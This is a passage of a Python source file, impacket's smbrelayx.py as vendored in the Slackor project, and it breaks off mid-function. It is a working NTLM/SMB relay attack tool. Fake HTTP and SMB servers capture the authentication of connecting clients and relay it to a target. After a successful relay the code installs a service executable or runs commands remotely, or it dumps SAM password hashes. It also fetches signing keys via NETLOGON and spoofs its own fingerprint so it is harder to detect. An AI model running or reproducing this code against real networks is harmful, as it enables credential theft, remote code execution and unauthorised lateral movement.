github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/impacket/examples/smbrelayx.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # SMB Relay Module
     9  #
    10  # Author:
    11  #  Alberto Solino (@agsolino)
    12  #
    13  # Description:
    14  #             This module performs the SMB Relay attacks originally discovered
    15  # by cDc. It receives a list of targets and for every connection received it 
    16  # will choose the next target and try to relay the credentials. Also, if
    17  # specified, it will first to try authenticate against the client connecting 
    18  # to us.
    19  # 
    20  # It is implemented by invoking a SMB and HTTP Server, hooking to a few 
    21  # functions and then using the smbclient portion. It is supposed to be 
    22  # working on any LM Compatibility level. The only way to stop this attack 
    23  # is to enforce on the server SPN checks and or signing.
    24  # 
    25  # If the target system is enforcing signing and a machine account was provided, 
    26  # the module will try to gather the SMB session key through 
    27  # NETLOGON (CVE-2015-0005)
    28  #
    29  # If the authentication against the targets succeed, the client authentication 
    30  # success as well and a valid connection is set against the local smbserver. 
    31  # It's up to the user to set up the local smbserver functionality. One option 
    32  # is to set up shares with whatever files you want to the victim thinks it's 
    33  # connected to a valid SMB server. All that is done through the smb.conf file or 
    34  # programmatically.
    35  #
    36  from __future__ import division
    37  from __future__ import print_function
    38  try:
    39      import ConfigParser
    40  except ImportError:
    41      import configparser as ConfigParser
    42  import http.server
    43  import socketserver
    44  import argparse
    45  import base64
    46  import logging
    47  import os
    48  import sys
    49  try:
    50      from urllib.parse import urlparse
    51  except ImportError:
    52      from urlparse import urlparse
    53  from binascii import unhexlify, hexlify
    54  from struct import pack, unpack
    55  from threading import Thread
    56  from six import PY2
    57  
    58  from impacket import version
    59  from impacket.dcerpc.v5 import nrpc
    60  from impacket.dcerpc.v5 import transport
    61  from impacket.dcerpc.v5.ndr import NULL
    62  from impacket.dcerpc.v5.rpcrt import DCERPCException
    63  from impacket.examples import logger
    64  from impacket.examples import serviceinstall
    65  from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS
    66  from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient
    67  from impacket.nt_errors import ERROR_MESSAGES
    68  from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \
    69      STATUS_MORE_PROCESSING_REQUIRED
    70  from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \
    71      NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey
    72  from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \
    73      SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
    74      SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \
    75      SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data
    76  from impacket.smb3 import SMB3
    77  from impacket.smbconnection import SMBConnection
    78  from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER
    79  from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
    80  
    81  try:
    82   from Cryptodome.Cipher import DES, AES, ARC4
    83  except Exception:
    84      logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
    85      logging.critical("See https://pypi.org/project/pycryptodomex/")
    86  
    87  # Global Variables
    88  # This is the list of hosts that have been attacked already in case -one-shot was chosen
    89  ATTACKED_HOSTS = set()
    90  CODEC = sys.getdefaultencoding()
    91  
    92  class doAttack(Thread):
    93      def __init__(self, SMBClient, exeFile, command):
    94          Thread.__init__(self)
    95  
    96          if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3):
    97              self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
    98          else:
    99              self.__SMBConnection = SMBClient
   100  
   101          self.__exeFile = exeFile
   102          self.__command = command
   103          self.__answerTMP = b''
   104          if exeFile is not None:
   105              self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
   106  
   107      def __answer(self, data):
   108          self.__answerTMP += data
   109  
   110      def run(self):
   111          # Here PUT YOUR CODE!
   112          global ATTACKED_HOSTS
   113          if self.__exeFile is not None:
   114              result = self.installService.install()
   115              if result is True:
   116                  logging.info("Service Installed.. CONNECT!")
   117                  self.installService.uninstall()
   118              else:
   119                  ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
   120          else:
   121              from impacket.examples.secretsdump import RemoteOperations, SAMHashes
   122              samHashes = None
   123              try:
   124                  # We have to add some flags just in case the original client did not
   125                  # Why? needed for avoiding INVALID_PARAMETER
   126                  flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
   127                  flags2 |= SMB.FLAGS2_LONG_NAMES
   128                  self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
   129  
   130                  remoteOps  = RemoteOperations(self.__SMBConnection, False)
   131                  remoteOps.enableRegistry()
   132              except Exception as e:
   133                  logging.debug('Exception:', exc_info=True)
   134                  # Something wen't wrong, most probably we don't have access as admin. aborting
   135                  logging.error(str(e))
   136                  ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
   137                  return
   138  
   139              try:
   140                  if self.__command is not None:
   141                      remoteOps._RemoteOperations__executeRemote(self.__command)
   142                      logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
   143                      self.__answerTMP = b''
   144                      self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
   145                      logging.debug('Raw answer %r' % self.__answerTMP)
   146  
   147                      try:
   148                          print(self.__answerTMP.decode(CODEC))
   149                      except UnicodeDecodeError:
   150                          logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
   151                                        'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
   152                                    'again with -codec and the corresponding codec')
   153                          print(self.__answerTMP)
   154  
   155                      self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
   156                  else:
   157                      bootKey = remoteOps.getBootKey()
   158                      remoteOps._RemoteOperations__serviceDeleted = True
   159                      samFileName = remoteOps.saveSAM()
   160                      samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
   161                      samHashes.dump()
   162                      logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
   163              except Exception as e:
   164                  logging.debug('Exception:', exc_info=True)
   165                  ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
   166                  logging.error(str(e))
   167              finally:
   168                  if samHashes is not None:
   169                      samHashes.finish()
   170                  if remoteOps is not None:
   171                      remoteOps.finish()
   172              try:
   173                  ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
   174              except Exception as e:
   175                  logging.error(str(e))
   176                  pass
   177  
   178  
   179  class SMBClient(SMB):
   180      def __init__(self, remote_name, extended_security = True, sess_port = 445):
   181          self._extendedSecurity = extended_security
   182          self.domainIp = None
   183          self.machineAccount = None
   184          self.machineHashes = None
   185  
   186          SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
   187  
   188      def neg_session(self):
   189          neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity)
   190          return neg_sess
   191  
   192      def setUid(self,uid):
   193          self._uid = uid
   194  
   195      def login_standard(self, user, domain, ansiPwd, unicodePwd):
   196          smb = NewSMBPacket()
   197          smb['Flags1']  = 8
   198          
   199          sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
   200          sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
   201          sessionSetup['Data']       = SMBSessionSetupAndX_Data()
   202  
   203          sessionSetup['Parameters']['MaxBuffer']        = 65535
   204          sessionSetup['Parameters']['MaxMpxCount']      = 2
   205          sessionSetup['Parameters']['VCNumber']         = os.getpid()
   206          sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']
   207          sessionSetup['Parameters']['AnsiPwdLength']    = len(ansiPwd)
   208          sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
   209          sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE
   210  
   211          sessionSetup['Data']['AnsiPwd']       = ansiPwd
   212          sessionSetup['Data']['UnicodePwd']    = unicodePwd
   213          sessionSetup['Data']['Account']       = user
   214          sessionSetup['Data']['PrimaryDomain'] = domain
   215          sessionSetup['Data']['NativeOS']      = 'Unix'
   216          sessionSetup['Data']['NativeLanMan']  = 'Samba'
   217  
   218          smb.addCommand(sessionSetup)
   219  
   220          self.sendSMB(smb)
   221          smb = self.recvSMB()
   222          try:
   223              smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
   224          except:
   225              logging.error("Error login_standard")
   226              return None, STATUS_LOGON_FAILURE
   227          else:
   228              self._uid = smb['Uid']
   229              return smb, STATUS_SUCCESS
   230  
   231      def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
   232          self.machineAccount = machineAccount
   233          self.machineHashes = machineHashes
   234          self.domainIp = domainIp
   235          if self._SignatureRequired is True:
   236              if self.domainIp is None:
   237                  logging.error("Signature is REQUIRED on the other end, attack will not work")
   238              else:
   239                  logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
   240  
   241  
   242      def netlogonSessionKey(self, challenge, authenticateMessageBlob):
   243          # Here we will use netlogon to get the signing session key
   244          logging.info("Connecting to %s NETLOGON service" % self.domainIp)
   245  
   246          respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
   247          authenticateMessage = NTLMAuthChallengeResponse()
   248          authenticateMessage.fromString(respToken2['ResponseToken'] )
   249          _, machineAccount = self.machineAccount.split('/')
   250          domainName = authenticateMessage['domain_name'].decode('utf-16le')
   251  
   252          try:
   253              av_pairs = authenticateMessage['ntlm'][44:]
   254              av_pairs = AV_PAIRS(av_pairs)
   255  
   256              serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
   257          except:
   258              logging.debug("Exception:", exc_info=True)
   259              # We're in NTLMv1, not supported
   260              return STATUS_ACCESS_DENIED
   261  
   262          stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
   263  
   264          rpctransport = transport.DCERPCTransportFactory(stringBinding)
   265  
   266          if len(self.machineHashes) > 0:
   267              lmhash, nthash = self.machineHashes.split(':')
   268          else:
   269              lmhash = ''
   270              nthash = ''
   271  
   272          if hasattr(rpctransport, 'set_credentials'):
   273              # This method exists only for selected protocol sequences.
   274              rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
   275  
   276          dce = rpctransport.get_dce_rpc()
   277          dce.connect()
   278          dce.bind(nrpc.MSRPC_UUID_NRPC)
   279          resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
   280  
   281          serverChallenge = resp['ServerChallenge']
   282  
   283          if self.machineHashes == '':
   284              ntHash = None
   285          else:
   286              ntHash = unhexlify(self.machineHashes.split(':')[1])
   287  
   288          sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
   289  
   290          ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
   291  
   292          nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
   293                                        nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
   294                                        ppp, 0x600FFFFF)
   295  
   296          clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
   297  
   298          # Now let's try to verify the security blob against the PDC
   299  
   300          request = nrpc.NetrLogonSamLogonWithFlags()
   301          request['LogonServer'] = '\x00'
   302          request['ComputerName'] = serverName + '\x00'
   303          request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
   304  
   305          request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
   306          request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
   307          request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
   308          request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
   309          request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
   310              'user_name'].decode('utf-16le')
   311          request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
   312          request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
   313          request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
   314          request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
   315  
   316          authenticator = nrpc.NETLOGON_AUTHENTICATOR()
   317          authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
   318          authenticator['Timestamp'] = 10
   319  
   320          request['Authenticator'] = authenticator
   321          request['ReturnAuthenticator']['Credential'] = '\x00'*8
   322          request['ReturnAuthenticator']['Timestamp'] = 0
   323          request['ExtraFlags'] = 0
   324          #request.dump()
   325          try:
   326              resp = dce.request(request)
   327              #resp.dump()
   328          except DCERPCException as e:
   329              logging.debug('Exception:', exc_info=True)
   330              logging.error(str(e))
   331              return e.get_error_code()
   332  
   333          logging.info("%s\\%s successfully validated through NETLOGON" % (
   334          domainName, authenticateMessage['user_name'].decode('utf-16le')))
   335   
   336          encryptedSessionKey = authenticateMessage['session_key']
   337          if encryptedSessionKey != '':
   338              signingKey = generateEncryptedSessionKey(
   339                  resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
   340          else:
   341              signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 
   342  
   343          logging.info("SMB Signing key: %s " % hexlify(signingKey))
   344  
   345          self.set_session_key(signingKey)
   346  
   347          self._SignatureEnabled = True
   348          self._SignSequenceNumber = 2
   349          self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY)
   350          return STATUS_SUCCESS
   351  
   352      def sendAuth(self, serverChallenge, authenticateMessageBlob):
   353          smb = NewSMBPacket()
   354          smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
   355          smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 
   356          # Are we required to sign SMB? If so we do it, if not we skip it
   357          if self._SignatureRequired: 
   358             smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
   359          smb['Uid'] = self._uid
   360  
   361          sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
   362          sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
   363          sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
   364  
   365          sessionSetup['Parameters']['MaxBufferSize']        = 65535
   366          sessionSetup['Parameters']['MaxMpxCount']          = 2
   367          sessionSetup['Parameters']['VcNumber']             = 1
   368          sessionSetup['Parameters']['SessionKey']           = 0
   369          sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
   370  
   371          # Fake Data here, don't want to get us fingerprinted
   372          sessionSetup['Data']['NativeOS']      = 'Unix'
   373          sessionSetup['Data']['NativeLanMan']  = 'Samba'
   374  
   375          sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
   376          sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
   377          smb.addCommand(sessionSetup)
   378          self.sendSMB(smb)
   379              
   380          smb = self.recvSMB()
   381          errorCode = smb['ErrorCode'] << 16
   382          errorCode += smb['_reserved'] << 8
   383          errorCode += smb['ErrorClass']
   384  
   385          if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None:
   386              try:
   387                  errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)    
   388              except:
   389                  logging.debug('Exception:', exc_info=True)
   390                  raise
   391  
   392          return smb, errorCode
   393  
   394      def sendNegotiate(self, negotiateMessage):
   395          smb = NewSMBPacket()
   396          smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
   397          smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 
   398          # Are we required to sign SMB? If so we do it, if not we skip it
   399          if self._SignatureRequired: 
   400             smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
   401            
   402  
   403          sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
   404          sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
   405          sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
   406  
   407          sessionSetup['Parameters']['MaxBufferSize']        = 65535
   408          sessionSetup['Parameters']['MaxMpxCount']          = 2
   409          sessionSetup['Parameters']['VcNumber']             = 1
   410          sessionSetup['Parameters']['SessionKey']           = 0
   411          sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
   412  
   413          # Let's build a NegTokenInit with the NTLMSSP
   414          # TODO: In the future we should be able to choose different providers
   415  
   416          blob = SPNEGO_NegTokenInit() 
   417  
   418          # NTLMSSP
   419          blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
   420          blob['MechToken'] = negotiateMessage
   421  
   422          sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
   423          sessionSetup['Parameters'].getData()
   424          sessionSetup['Data']['SecurityBlob']       = blob.getData()
   425  
   426          # Fake Data here, don't want to get us fingerprinted
   427          sessionSetup['Data']['NativeOS']      = 'Unix'
   428          sessionSetup['Data']['NativeLanMan']  = 'Samba'
   429  
   430          smb.addCommand(sessionSetup)
   431          self.sendSMB(smb)
   432          smb = self.recvSMB()
   433  
   434          try:
   435              smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
   436          except Exception:
   437              logging.error("SessionSetup Error!")
   438              raise
   439          else:
   440              # We will need to use this uid field for all future requests/responses
   441              self._uid = smb['Uid']
   442  
   443              # Now we have to extract the blob to continue the auth process
   444              sessionResponse   = SMBCommand(smb['Data'][0])
   445              sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
   446              sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
   447              sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
   448              sessionData.fromString(sessionResponse['Data'])
   449              respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
   450  
   451              return respToken['ResponseToken']
   452  
   453  class HTTPRelayServer(Thread):
   454      class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
   455          def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile,
   456                       one_shot, returnStatus=STATUS_SUCCESS, runSocks = False):
   457              self.target = target
   458              self.exeFile = exeFile
   459              self.command = command
   460              self.mode = mode
   461              self.returnStatus = returnStatus
   462              self.outputFile = outputFile
   463              self.one_shot = one_shot
   464              self.runSocks = runSocks
   465  
   466              socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
   467  
   468      class HTTPHandler(http.server.SimpleHTTPRequestHandler):
   469          def __init__(self,request, client_address, server):
   470              self.server = server
   471              self.protocol_version = 'HTTP/1.1'
   472              self.challengeMessage = None
   473              self.target = None
   474              self.client = None
   475              self.machineAccount = None
   476              self.machineHashes = None
   477              self.domainIp = None
   478  
   479              global ATTACKED_HOSTS
   480              if self.server.target in ATTACKED_HOSTS and self.server.one_shot:
   481                  logging.info(
   482                      "HTTPD: Received connection from %s, skipping %s, already attacked" % (
   483                      client_address[0], self.server.target))
   484                  return
   485  
   486              if self.server.target is not None:
   487                  logging.info(
   488                      "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target))
   489              else:
   490                  logging.info(
   491                      "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0]))
   492              http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
   493  
   494          def handle_one_request(self):
   495              try:
   496                  http.server.SimpleHTTPRequestHandler.handle_one_request(self)
   497              except Exception:
   498                  logging.debug("Exception:", exc_info=True)
   499                  pass
   500  
   501          def log_message(self, format, *args):
   502              return
   503  
   504          def do_HEAD(self):
   505              self.send_response(200)
   506              self.send_header('Content-type', 'text/html')
   507              self.end_headers()
   508  
   509          def do_AUTHHEAD(self, message = ''):
   510              self.send_response(401)
   511              self.send_header('WWW-Authenticate', message.decode('utf-8'))
   512              self.send_header('Content-type', 'text/html')
   513              self.send_header('Content-Length','0')
   514              self.end_headers()
   515  
   516          def send_error(self, code, message=None):
   517              if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
   518                  return self.do_GET()
   519              return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
   520  
   521          def do_GET(self):
   522              messageType = 0
   523              if PY2:
   524                  authorizationHeader = self.headers.getheader('Authorization')
   525              else:
   526                  authorizationHeader = self.headers.get('Authorization')
   527  
   528              if authorizationHeader is None:
   529                  self.do_AUTHHEAD(message = b'NTLM')
   530                  pass
   531              else:
   532                  #self.do_AUTHHEAD()
   533                  typeX = authorizationHeader
   534                  try:
   535                      _, blob = typeX.split('NTLM')
   536                      token =  base64.b64decode(blob.strip())
   537                  except:
   538                      self.do_AUTHHEAD()
   539                  messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
   540  
   541              if messageType == 1:
   542                  if self.server.mode.upper() == 'REFLECTION':
   543                      self.target = self.client_address[0]
   544                  else:
   545                      self.target = self.server.target
   546                  try:
   547                      if self.client is not None:
   548                          logging.error('Still performing an attack against %s' % self.client.get_remote_host())
   549                          self.send_response(404)
   550                          self.end_headers()
   551                          return
   552  
   553                      self.client = SMBClient(self.target, extended_security = True)
   554                      self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
   555                      self.client.set_timeout(60)
   556                  except Exception as e:
   557                     logging.error("Connection against target %s FAILED" % self.target)
   558                     logging.error(str(e))
   559  
   560                  clientChallengeMessage = self.client.sendNegotiate(token) 
   561                  self.challengeMessage = NTLMAuthChallenge()
   562                  self.challengeMessage.fromString(clientChallengeMessage)
   563                  self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(clientChallengeMessage))
   564  
   565              elif messageType == 3:
   566                  authenticateMessage = NTLMAuthChallengeResponse()
   567                  authenticateMessage.fromString(token)
   568                  if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1':
   569                      respToken2 = SPNEGO_NegTokenResp()
   570                      respToken2['ResponseToken'] = token
   571                      clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'],
   572                                                                       respToken2.getData())
   573                  else:
   574                      # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
   575                      # when coming from localhost
   576                      errorCode = STATUS_ACCESS_DENIED
   577  
   578                  if errorCode != STATUS_SUCCESS:
   579                      logging.error("Authenticating against %s as %s\\%s FAILED" % (
   580                      self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
   581                      self.do_AUTHHEAD('NTLM')
   582                  else:
   583                      # Relay worked, do whatever we want here...
   584                      logging.info("Authenticating against %s as %s\\%s SUCCEED" % (
   585                      self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
   586                      ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
   587                                                          authenticateMessage['user_name'],
   588                                                          authenticateMessage['domain_name'],
   589                                                          authenticateMessage['lanman'], authenticateMessage['ntlm'])
   590                      logging.info(ntlm_hash_data['hash_string'])
   591                      if self.server.outputFile is not None:
   592                          writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
   593                                                self.server.outputFile)
   594  
   595                      # Target will be attacked, adding to the attacked set
   596                      # If the attack fails, the doAttack thread will be responsible of removing it from the set
   597                      global ATTACKED_HOSTS
   598                      if self.target not in ATTACKED_HOSTS:
   599                          ATTACKED_HOSTS.add(self.target)
   600                          if self.server.runSocks is True:
   601                              # Pass all the data to the socksplugins proxy
   602                              protocolClient = SMBRelayClient(None,urlparse('smb://%s' % self.target))
   603                              protocolClient.session = SMBConnection(existingConnection=self.client)
   604                              activeConnections.put(
   605                                  (self.target, 445, 'SMB', ('%s/%s' % (
   606                                  authenticateMessage['domain_name'].decode('utf-16le'),
   607                                  authenticateMessage['user_name'].decode('utf-16le'))).upper(),
   608                                   protocolClient,
   609                                   {'CHALLENGE_MESSAGE': self.challengeMessage}))
   610                              logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
   611                          else:
   612                              clientThread = doAttack(self.client,self.server.exeFile,self.server.command)
   613                              self.client = None
   614                              clientThread.start()
   615                      else:
   616                          logging.error('%s is being attacker at the moment, skipping.. ' % self.target)
   617  
   618                      # And answer 404 not found
   619                      self.send_response(404)
   620                      self.send_header('WWW-Authenticate', 'NTLM')
   621                      self.send_header('Content-type', 'text/html')
   622                      self.send_header('Content-Length','0')
   623                      self.end_headers()
   624              return 
   625  
   626      def __init__(self, outputFile=None):
   627          Thread.__init__(self)
   628          self.daemon = True
   629          self.domainIp = None
   630          self.machineAccount = None
   631          self.machineHashes = None
   632          self.exeFile = None
   633          self.command = None
   634          self.target = None
   635          self.mode = None
   636          self.outputFile = outputFile
   637          self.one_shot = False
   638          self.runSocks = False
   639  
   640      def setTargets(self, target):
   641          self.target = target
   642  
   643      def setExeFile(self, filename):
   644          self.exeFile = filename
   645  
   646      def setCommand(self, command):
   647          self.command = command
   648  
   649      def setSocks(self, socks):
   650          self.runSocks = socks
   651  
   652      def setReturnStatus(self, returnStatus):
   653          # Not implemented yet.
   654          pass
   655  
   656      def setMode(self,mode, one_shot):
   657          self.mode = mode
   658          self.one_shot = one_shot
   659  
   660      def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
   661          self.machineAccount = machineAccount
   662          self.machineHashes = machineHashes
   663          self.domainIp = domainIp
   664  
   665      def run(self):
   666          logging.info("Setting up HTTP Server")
   667          httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode,
   668                                  self.outputFile, self.one_shot, runSocks = self.runSocks)
   669          httpd.serve_forever()
   670  
   671  class SMBRelayServer(Thread):
   672      def __init__(self, outputFile = None):
   673          Thread.__init__(self)
   674          self.daemon = True
   675          self.server = 0
   676          self.target = '' 
   677          self.mode = 'REFLECTION'
   678          self.domainIp = None
   679          self.machineAccount = None
   680          self.machineHashes = None
   681          self.exeFile = None
   682          self.returnStatus = STATUS_SUCCESS
   683          self.command = None
   684          self.one_shot = False
   685          self.runSocks = False
   686  
   687          # Here we write a mini config for the server
   688          smbConfig = ConfigParser.ConfigParser()
   689          smbConfig.add_section('global')
   690          smbConfig.set('global','server_name','server_name')
   691          smbConfig.set('global','server_os','UNIX')
   692          smbConfig.set('global','server_domain','WORKGROUP')
   693          smbConfig.set('global','log_file','smb.log')
   694          smbConfig.set('global','credentials_file','')
   695  
   696          if outputFile is not None:
   697              smbConfig.set('global','jtr_dump_path',outputFile)
   698  
   699          # IPC always needed
   700          smbConfig.add_section('IPC$')
   701          smbConfig.set('IPC$','comment','')
   702          smbConfig.set('IPC$','read only','yes')
   703          smbConfig.set('IPC$','share type','3')
   704          smbConfig.set('IPC$','path','')
   705  
   706          self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
   707          self.server.processConfigFile()
   708  
   709          self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
   710          self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX,
   711                                                                    self.SmbSessionSetupAndX)
   712          # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
   713          self.server.addConnection('SMBRelay', '0.0.0.0', 445)
   714  
   715      def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
   716          connData = smbServer.getConnectionData(connId, checkStatus = False)
   717          if self.mode.upper() == 'REFLECTION':
   718              self.target = connData['ClientIP']
   719          #############################################################
   720          # SMBRelay
   721          smbData = smbServer.getConnectionData('SMBRelay', False)
   722          if self.target in smbData:
   723              # Remove the previous connection and use the last one
   724              smbClient = smbData[self.target]['SMBClient']
   725              del smbClient
   726              del smbData[self.target]
   727  
   728          # Let's check if we already attacked this host.
   729          global ATTACKED_HOSTS
   730          if self.target in ATTACKED_HOSTS and self.one_shot is True:
   731              logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
   732              connData['ClientIP'], self.target))
   733              packet = NewSMBPacket()
   734              packet['Flags1'] = SMB.FLAGS1_REPLY
   735              packet['Flags2'] = SMB.FLAGS2_NT_STATUS
   736              packet['Command'] = recvPacket['Command']
   737              packet['Pid'] = recvPacket['Pid']
   738              packet['Tid'] = recvPacket['Tid']
   739              packet['Mid'] = recvPacket['Mid']
   740              packet['Uid'] = recvPacket['Uid']
   741              packet['Data'] = '\x00\x00\x00'
   742              errorCode = STATUS_NOT_SUPPORTED
   743              packet['ErrorCode'] = errorCode >> 16
   744              packet['ErrorClass'] = errorCode & 0xff
   745  
   746              return None, [packet], STATUS_NOT_SUPPORTED
   747          else:
   748              logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target))
   749  
   750          try: 
   751              if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0:
   752                  extSec = False
   753              else:
